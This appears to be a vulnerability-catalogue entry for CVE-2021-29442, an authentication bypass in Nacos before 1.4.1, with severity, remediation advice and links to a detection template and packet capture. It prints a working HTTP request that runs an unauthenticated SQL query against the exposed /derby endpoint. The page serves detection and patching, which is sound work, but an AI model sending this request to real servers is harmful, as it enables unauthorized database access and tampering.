🔙 목록으로 돌아가기

CVE-2021-29442: Nacos <1.4.1 - Authentication Bypass

TitleNacos <1.4.1 - Authentication Bypass
Authordwisiswant0
SeverityHigh
ImpactSuccessful exploitation of this vulnerability can lead to unauthorized access to sensitive data and potential compromise of the Nacos server.
RemediationUpgrade Nacos to version 1.4.1 or later to mitigate the authentication bypass vulnerability (CVE-2021-29442).
CVSS Score7.5
EPSS Score0.94002
CVE IDCVE-2021-29442
CWE IDCWE-306
Tags cve2021 cve nacos auth-bypass alibaba vkev vuln

🔍 Vulnerability Description

Nacos before version 1.4.1 is vulnerable to authentication bypass because the ConfigOpsController lets the user perform management operations like querying the database or even wiping it out. While the /data/remove endpoint is properly protected with the @Secured annotation, the /derby endpoint is not protected and can be openly accessed by unauthenticated users. These endpoints are only valid when using embedded storage (derby DB) so this issue should not affect those installations using external storage (e.g. mysql).

🌐 HTTP Request

GET /nacos/v1/cs/ops/derby?sql=select+st.tablename+from+sys.systables+st HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-29442.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-29442.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A